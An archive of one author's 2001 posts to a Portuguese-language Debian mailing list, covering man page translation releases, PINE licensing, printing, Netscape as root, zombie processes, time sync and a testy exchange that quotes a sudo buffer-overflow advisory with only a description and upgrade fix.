Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
If you stand on your head, you will get footprints in your hair.



Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR (fwd ) L O N G O!

2001-08-09 Thread Ricardo Castanho de O. Freitas
Olá Pessoal!

Estou fazendo este (fwd), porque acredito que isto seja importante para
todos os usuários GNU/Linux, independente de qualquer coisa, pois somos
todos por um só movimento... o GNU/Linux!

Eu sei que muitos da Debian-br não gostam das traduções feitas pela
LDP-BR!
É um trabalho voluntário que iniciou-se muito tempo atrás, concluido
somente agora devido ao enorme número de man pages existente *e* as
naturais dificuldades de um esforço coletivo voluntário!

Quem quiser colaborar sugerindo correções e/ou sugestões, favor entrar em
contato com o André Luiz Fassone Canova [EMAIL PROTECTED], que é
o atual coordenador deste trabalho junto à LDP!

Divergências quanto à tradução sempre existirá! Cabemos avaliar quanto à
compreensão e aspectos técnicos (ou seja traduções que levam à
interpretações errôneas, que é a nossa maior preocupação!)

Não fossem as divergências... não teríamos tantas distribuições Linux!

Lembrando que o projeto LDP não pertence à ninguém!
E nem seu braço brasileiroa LDP-BR! Gentilmente sediada na
Conectiva!

Este trabalho iniciou-se em 1997 na Conectiva e pela Conectiva, passando à
LDP-BR em 1998, ganhando cada vez mais voluntários de todas as distribuições
para concluir mais este trabalho!

Esperamos contar com a colaboração do pessoal da Debian-br, que esta
envolvida em suas próprias traduções e prioridades, mas na medida do
possível, colaborem com  GNU/Linx!

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Keep emotionally active.  Cater to your favorite neurosis.

-- Forwarded message --
From: André Luiz Fassone Canova [EMAIL PROTECTED]
To: LDP-BR [EMAIL PROTECTED]
Subject: Lançamento do primeiro pacote de páginas  de manual traduzido para
o pt_BR
Date: Thu, 9 Aug 2001 00:04:08 -0300

Olá,

É com  imenso prazer que torno público o primeiro release público do
pacote de páginas de manuais totalmente traduzido e revisado para a nossa
língua pátria. Saliento que tal feito só ocorreu devido a valorosa e
inestimável colaboração de dezenas de pessoas que ajudaram,
voluntariamente, cedendo seu tempo pessoal para trabalhos de tradução e
revisão. Ressalto ainda o apoio institucional da Conectiva S/A que nos
fornece apoio técnico e material no sentido de podermos manter os
servidores, necessários ao projeto, em funcionamento.

E, como todos sabemos, o trabalho não estará finalizado neste ponto
pois pretendemos manter a comunidade GNU/Linux brasileira abastecida de
documentação atualizada em um ritmo, no mínimo, igual ao de outras
comunidades. Para tal a cooperação, base do desenvolvimento de nossa
comunidade, é fundamental. E neste sentido, com o lançamento destas
páginas, desejamos aglutinar esforços de cooperação voluntária em nosso
país.

Gostaríamos, também, que este impacto se estendesse para outras
comunidades em outros países e que neste países esforços para
democratizar o acesso de informação se tornassem fortes e efetivos já
que a informação não representa apenas o poder, representa mais,
representa possibilidades que podem nos tornar melhores e maiores.

Novamente gostaria de agradecer a Conectiva S/a por manter a hospedagem do
site da LDP-BR, o mirror da LDP e a lista de discussões que
disponibilizamos para sustentar as atividades das quais necessitamos. E
a todos os tradutores/revisores que empenharam suas horas vagas, horas de
sono, passeios familiares, finais de semana e uma infinidade de afazeres
pessoais em prol do nosso sonho... o sonho de democratizar o GNU/Linux em
nosso pais e com isto torna-lo socialmente mais justo e menos excludente.

Os link para download dos arquivos são:
http://ldp-br.conectiva.com.br/projetos/man-pages/


Muito obrigado,

André Luiz Fassone
Coordenador de traduções das páginas de manual da LDP-BR




Re: Fw: Re: PINE [era Mutt]

2001-07-10 Thread Ricardo Castanho de O. Freitas
On Tue, 10 Jul 2001, Gustavo Noronha Silva wrote:

Em Tue, 10 Jul 2001 01:04:44 -0300 (EST)
Ricardo Castanho de O. Freitas [EMAIL PROTECTED] escreveu:

 Ví em uma de suas msg que *não* é recomendado a instalação de prg não
 .deb numa distro Debian (pois como você disse já são +7000 prg portados!).
 Quais seriam as implicações? instabilidade ou outra razão?
você está desviando do sistema de empacotamento... isso faz com que
o gerenciamento de pacotes fique bagunçado, afinal de contas, qual
a dificuldade converter um rpm pra deb antes de instalar? =)

Bem, aqui é uma das razões...
Parece-me que quando criam um pacote .deb, existe um cuidado maior, como
com a questão do Free (livre) software, compatibilidade, estabilidade e
etc!
A utilização do alien (rpm = deb), me pareceu que a princípio, iria
corromper o sistema .deb (justamente por 'nem sempre' satisfazerem as
questões do parágrafo anterior).

mesmo assim acho difícil precisar...
Sem dúvida, devido ao número (+7000!)...fica difícil algo ficar de fora!
E como acompanhei recentemente, você fez o 'port' do sylpheed para o
Debian, não foi?
Houve a demanda... surgiu a solução!

 Pergunto porque, quando iniciei no Linux, esta foi uma das razões que eu
 não iniciei com o Debian! Eu não havia compreendido a 'filosofia' do
 Debian que como se comenta... apesar de ser a única distro que
 'poderia' trazer o PINE, não traz justamente pela restrição imposta pelos
 desenvolvedores!
bom... não entendi qual foi a razão pela qual você não começou no
Debian, nem por que você diz que ela é a única que 'poderia'
trazer o pine =)

1. Porque não Debian?
Justamente pela informação (errada) de que no Debian não se pode usar nada
que não seja Debian! O que não está totalmente errado, mas a impressão que
eu tive foi de ficar preso à uma distro!(Fiquei 'preso' em outra distro ;-)
Eu gosto de fazer experiências, de 'xeretar', de fazer experiências! O que
devido à informação recebida... seria impossível!
Hoje eu entendo o motivo!

2. PINE:
Segundo informações em 'n' sites (brasileiros ou não), a única distro que
é compatível com a licença PINE é a Debian (principalmente por não ser
uma distro comercial, mas existem outros fatos!).
Ou seja, paradoxalmente, a única distro que 'poderia' trazer o PINE sem
'ferir' a licença seria Debian, mas que não o faz justamente porque o PINE
não é *totalmente* livre.

Estou falando da inclusão em um 'release' como o potato! E não da ação
voluntária de um usuário!
Estou certo?

seria bom continuar essa discussão na lista, não tem sentido falar
em pvt... se você não se importar vou fazer forward das mensagens
Sem problemas!

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
So this it it.  We're going to die.



Re: Fw: Re: PINE [era Mutt]

2001-07-10 Thread Ricardo Castanho de O. Freitas
On Tue, 10 Jul 2001, cmax wrote:

Eu já fiz uma boa parte de tudo que é de errado referente ao linux.
Comecei com um conectiva marumbi.
Mudei para o Corel.
Instalei diversos programas rpm debinizados.
E isso foi o pior. O sistema praticamente não se mexia mais. Tudo
dava algum tipo de erro, mensagem de aviso, o caos.

E sobre isto que eu estava falando! Eu realmente acho que eu chegaria a
este tipo de caos!

Instalei um Debian potato + progeny newton e tenho carinho demais
para com meu companheiro para por qualquer tipo de coisa nele.

Sem dúvida! Para que colocar em risco algo que está funcionando
redondinho?

Agora eu sou bastante purista: se não tem em .deb, então não
faz falta! ;-)

Novamente, é isto que eu quero dizer que *agora*  eu entendo o porque ser
'purista'... por opção! justamente devido as caracteristicas da distro
Debian...
Mas, de novo, acho que o mais importante eu consegui! Migrar totalmente
para o Linux! Se a forma ou modo não foi adequado... já são outros 500's!
Principalmente, porque hoje estou totalmente operacional no  Linux!
Mas antes de dar outro passo, entendo que preciso conhecer mais o Linux
como um todo.

[]s Ricardo Castanho

Abraço
Cláudio Max

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Your aim is high and to the right.



Re: Mutt

2001-07-09 Thread Ricardo Castanho de O. Freitas
On Mon, 9 Jul 2001 [EMAIL PROTECTED] wrote:

Olá Douglas!

Quanto ao Mutt fico devendo... eu uso PINE [comentários abaixo]!
Será que alguém sabe como configurar SMTP e POP3 no Mutt?
E também ouvi falar que tem como mudar as cores.

Outra questao relativa a email eh o sobre o PINE, ele não é mesmo gratuito?

O PINE é gratuito, embora não seja FREE (livre) porque a licença tem
certas restrições/limitações quanto à distribuição!

O CL6 não trouxe o PINE por estas restrições (A Conectiva 'personaliza' os
produtos distribuidos e isto conflita com a licença do PINE).
Este problema foi resolvido e soube que o PINE estará no CL7, porque houve
um entendimento com relação as alterações.

Se quiser, pegue em:
http://www.washington.edu/pine/
e instale!

Se houver dificuldades na configuração do From: (tem uns macetes!!!)
email me!

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Keep emotionally active.  Cater to your favorite neurosis.



Re: Impressão/Processador de Textos...

2001-06-21 Thread Ricardo Castanho de O. Freitas
Olá Celso!

Eu tinha esta impressora e agora tenho uma 810C e ambas funcionam muito
bem com um pequeno programa que tem o 'modo econômico'.
Eu tenho configurado duas impressoras uma no modo normal e a outra no modo
econômico! É econômico mesmo!

o nome do programa é 'hpgs', pelo nome dá para ver que a saída é em 'gs'
(postscript).

Depois deste, principalmente pela facilidade de uso esqueci os outros!

[]s Ricardo Castanho

On Wed, 20 Jun 2001, Gustavo Noronha Silva wrote:
Em Wed, 20 Jun 2001 00:14:17 -0500
Celso Andrade [EMAIL PROTECTED] escreveu:
 To usando o Abiword, ta funcionando bem até agora.  Ele é bem semelhante ao 
 M$
 word.
 Só estou tentando descobrir como limitar a qualidade da impressão... 
 gostaria de
 colocar em modo rascunho. Alguém tem idéia de como fazer? a impressora é 
 Hp610c.
 Usei o magicfilter para configurá-la.
na verdade você precisa configurar 2 impressoras, uma com hp** e outra
com hp**low... algo assim... quanto ao Abiword, eu também uso, mas ele
tem muitas limitações ainda (as mesmas que o kword basicamente)...
ex: o hadling de figuras dele é sofrível...

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Fine day for friends.
So-so day for you.



Man Pages do Conectiva (GPL!)

2001-06-16 Thread Ricardo Castanho de O. Freitas
Olá Pessoal!

Acompanhei algumas mensagens sobre tradução das chamadas man pages...
Se houver interesse em utiliza-las, é só entrar em contato com:
 André [EMAIL PROTECTED].

Ele é o atual Coordenador das traduções da LDP-BR. Ele pode informar o
estágio atual de tradução e revisão.

Faltam apenas 50 man pages para finalizar mais uma etapa! Portanto, toda e
qualquer ajuda será bem-vinda!

É um trabalho para toda a comunidade Linux! Portanto sob GPL!
Não 'pertencem' à ninguem, exceto os autores e os usuários!

Como todos sabem, existem divergências sobre a tradução de certos têrmos
técnicos, tipos Kernel (cerne?, núcleo?..) ou qualquer outra palavra que
alguns julgam já incorporadas em nosso jargão e, portanto, não deveriam
ser traduzidas, mas tudo isto é sujeito à análise dos interessados.

Por exemplo: Como ficaria a tradução do termo 'hash file'? Os técnicos já
estão acostumados com o termo 'hash'...mas, e os novatos?

Nada impede que novas revisões sejam efetuadas (sempre temos um tradutor e
um revisor para cada página), basta acrescentar mais um nome de revisor ao
término, mantendo todas as orientações sobre 'copyright' especificadas em
cada página.

[]s Ricardo Castanho
(um dos tradutores/revisores)

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Your talents will be recognized and suitably rewarded.



Re: duvidas

2001-04-24 Thread Ricardo Castanho de O. Freitas
On Sat, 21 Apr 2001, Fernando Fraga e Silva wrote:
 Somente o netscape da Debian ( i.e. netscapedeb ) forçava o não uso pelo
 root. Isto funcionava através de um script de wrapper. Caso fosse necessário,
 absolutamentamente necessário, poder-ser-ia rodar o binário do netscape, que
 se chama algo como netscape.real e ficava em /usr/X11/lib/
 Simples, infelizmente não tenho acesso a root nesta máquina, logo, não posso
 testar para saber se o wrapper continua não permitindo o acesso pelo root.
 Mas, programa de segurança que requer o netscape para funcionar ? Parece
 piada... hehheeheeh, vc. me enganou! Por um instante pensei que fosse verdade.
Olá Fernando!
Então me esclarece uma coisa se o SAINT (ou ex-SATAN) não é um
programa de auditoria de SEGURANÇA... o que ele é?
Estou falando do uso racional dele! o que exclui, na minha opinião deixar
que usuários não /root usem! concorda?
Eu desinstalei o debian para testar o FreeBSD, portanto por enqto não
posso testar, mas com certeza deve haver uma solução debian, nem que seja uma
versão 'customisada', não??

Você já testou o Saint? ele gera relatórios em html (ou seja qq browser,
nas se é Netscape ou não, acho que é um detalhe...[na segurança] ...)
Se eu estiver errado, por favor... me informe!

[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
Are you sure the back door is locked?



Re: duvidas sanadas ;-)

2001-04-24 Thread Ricardo Castanho de O. Freitas
On Tue, 24 Apr 2001, Carlos Laviola wrote:
Olá Carlos!

Parece que temos propósitos diferentes!!! você me mandou uma correção já
muito velha o que mostra que você está desatualizado no minimo!

A minha intenção foi somente relatar minha experiência com alguns
programas e informar que o netscape funciona sim, como root, em alguns
sistemas, salvo o Debian como você mencionou e me corrigiuobrigado!

Só que estes programas são muito mais que programas para script kiddies,
ou qualquer que seja o nome que eles recebem!!!

realmente eu só sei que que leio, o que parece que vc não tem feito!!!

E eu fui humilde o suficiente para PEDIR esclarecimentos, caso estivesse
enganado, e não este tipo de resposta!
Se quiser chamar a atenção de alguém... faço quando você estiver 100%
certo do que está fazendo!
A sua orientação é de 26 de Fevereiro
A minha é de 03 de Março!!! o que é tempo demais em termos de
segurança!
Com certeza já deve ter outra!!!

Se você quiser continuar num tom adequado a quem tentou ajudar e pediu
correções/informações no caso de incorreções, faça-o se puder, senão eu,
infelizmente, dispenso este tipo de comentário!

não estou competindo com ninguém, quero compartilhar e aprender e SÓ!!!

Assim como você não sabe quem sou e o que faço, eu também não tenho a
mínima idéia de quem você é ou o que faz, mas isto é pre-requisito para a
lista???
por isto existe(deveria existir) um compartilhamento de
informações nas listas! Todos sabemos algo que alguém não sabe! E eu quero
aprender!

E se você entente o que lê: leia a minha primeira postagem!
lá eu digo que alguns programas de 'segurança' (aspas em sua homenagem!),
exigem que somente o /root ou equivalente, tenham acesso a tais tipos de
programas! Eu não logo como root para tudo! Mas existem trabalhos
essenciais que devem ser feito por /root, ou equivalente, e se o sistema
for suficientemente seguro, não haverá problemas! Ou seja, executa-se o
trabalho e sai o /root de cena!

Dispenso comentários que não levam à nada!!!

Ricardo Castanho

===
Topic:  sudo contains local buffer overflow

Category:   ports
Module: sudo ==
Announced:  2001-04-23 
Credits:Chris Wilson [EMAIL PROTECTED]
Affects:Ports collection prior to the correction date.
Corrected:  2001-03-07
Vendor status:  Updated version released
FreeBSD only:   NO ===

I.   Background

sudo is a program that allowss a sysadmin to give limited root
privileges to users and logs root activity.

II.  Problem Description

The sudo port, versions prior to sudo-1.6.3.7, contains a local
command-line buffer overflow allowing a local user to potentially
gain increased privileges on the local system.

III. Impact

Local users may potentially gain increased privileges on the local
system.

If you have not chosen to install the sudo port/package, then your
system is not vulnerable to this problem.

IV.  Workaround

Deinstall the sudo port/package if you have installed it.

V.   Solution

One of the following:

1) Upgrade your entire ports collection and rebuild the sudo port.

2) Deinstall the old package and install a new package dated after the
correction date, obtained from:
===

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 sudo (1.6.3p6-1) unstable; urgency=high

   * new upstream version, fixes buffer overflow problem,
 closes: #87259, #87278, #87263
   * revert to using --with-secure-path option at build time, since the option
 available in sudoers is parsed too late to be useful, and upstream says
 it won't get fixed quickly.  This reopens 85123, which I will mark as
 forwarded.  Closes: #86199, #86117, #85676

  -- Bdale Garbee [EMAIL PROTECTED]  Mon, 26 Feb 2001 11:02:51 -0700

 On 24-Apr-2001 Ricardo Castanho de O. Freitas wrote:
  On Tue, 24 Apr 2001, Carlos Laviola wrote:
  Falar de SEGURANÇA!!! mas logar como root pra tudo não combina muito.. Eu
  não me
  logo como root pra nada, mas consigo rodar programas como root usando sudo.
  Recomendo que você leia sobre ele ou sobre o super.
  Boa recomendação se forem sanados antes os últimos expoits para sudo!
  Como você falou, aliás dá para perceber, SEGURANÇA é assunto sério!
  Mas rodar programas com falhas de segurança (como o sudo, recentemente...)
  dá no mesmo!

 Você entende do que fala ou só repete o que lê nas listas?

  Mas se o SAINT não for um programa de auditoria de segurança... oque é
  então?

 Um programa pra ajudar script kiddies.

  e o nmap?

 Outro.

  E o Nessus?

 Mesma coisa.

  E geram relatórios em html (menos o nmap!) pode ser outro browser, mas dá
  no mesmo, não?

 Não.

  Que só rodam como root, su e outros!?! Justamente por Segurança! Você
  deixaria uma ferramenta destas fora do 'escopo' de um 'root'...?

 Não faço a menor idéia

Re: duvidas

2001-04-23 Thread Ricardo Castanho de O. Freitas
On Mon, 23 Apr 2001, Raphael DephiNit Pereira wrote:
 Que eu saiba, o netscape não pode ser executado como root por medidas de
 segurança, mas nunca tentei mudar isso.

Acho que isto mudou! em minha maquina funcionou com várias distros!!!
não é aconselhável navegar, mas existem programas que precisam dele,
rodando como root!! e são de SEGURANÇA!!!

Funcionou em Slack, Debian, FreeBSD e Cl6!

[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
You will pay for your sins.  If you have already paid, please disregard
this message.



Re: Matando processos D

2001-04-13 Thread Ricardo Castanho de O. Freitas
On Fri, 13 Apr 2001, Marcelo L. Coelho wrote:
   Às vezes, também, o processo
 vira um zombie, daí quem trabalha com estações/servidores que ficam
 um bom tempo em pé costuma achar vários zombies rodando (netscape sempre
 tem).
 Perdoem-me a falta de cultura; Oque seria isso zombie
Você nunca assistiu daqueles filmes de Voodoo ( não é a placa de vídeo!!!)
Aqueles caras que morrem nas ficam adando por aí, mortos, mas
aterrorizando as pessoas?
Então, são aqueles processos que aparentemente morrem mas ficam
ocupando espaço, se digitar o comando 'top' você vai ver que no alto tem
uma entrada para os zombies... aí é só matar eles de vez!!!

[]s Ricardo



-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
You are farsighted, a good planner, an ardent lover, and a faithful friend.



Re: servidor de data

2001-02-23 Thread Ricardo Castanho de O. Freitas
On Fri, 23 Feb 2001, DNA-K wrote:
 Date: Fri, 23 Feb 2001 19:30:54 -0300
 Olá lista, alguém aqui conhece um bom servidor de data (para usar o rdate)?
 não sei se foi para essa lista, mas alguém tinha postado uns servidores de
 data da nasa...
Olá!
Eu uso o relógio atômico do Observatório Nacional e funciona!
só que o rdate é para acertar data e hora
eu uso via cron: rdate -s 200.20.186.75
e se necessário ajustar o hwclock

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas
mailto: [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
=



Re: Valor x Placa Onboard

2001-02-07 Thread Ricardo Castanho de O. Freitas
On Wed, 7 Feb 2001, Antonio A. Lobato wrote:
 From: Antonio A. Lobato [EMAIL PROTECTED]
 To: debian-user-portuguese@lists.debian.org
 Subject: Valor x Placa Onboard
 Date: Wed, 7 Feb 2001 03:07:42 -0200
   -Eh assim mesmo que funciona ? Ou seja, terei que pagar ~30% mais para 
 um
 computador compativel com Linux (nada onboard) ?
   -O melhor lugar para se comprar computadores eh realmente na Santa
 Efigenia em SaoPaulo, ou alguem sugere outro (talvez Sorocaba ou
 Piracicaba) ?
   Tom.

Olá Tom!

Eu moro em Sorocaba e tenho encomendado meus dois últimos computadores
aqui na cidade...
A qualidade é boa (nunca tive problemas)... a não ser com preços ;-(
Mas é possivel obter um BOM computador por um bom preço, tudo depende da
configuração.
Agora o nada 'on board' depende já colegas da linux-br(lista) terem
TUDO on board e SEM problemas se você puder esperar posso perguntar
para a lista e ver quem é

ou fornecer o nome dos 'fornecedores' locais...de boa qualidade (testados
por mim, por isto posso recomendá-los sem medo).

abraços,

Se tiver interesse PVT!

Ricardo Castanho


-- 
==
Ricardo C.O. Freitas
mailto: [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
=
   Speak softly and carry a cellular phone.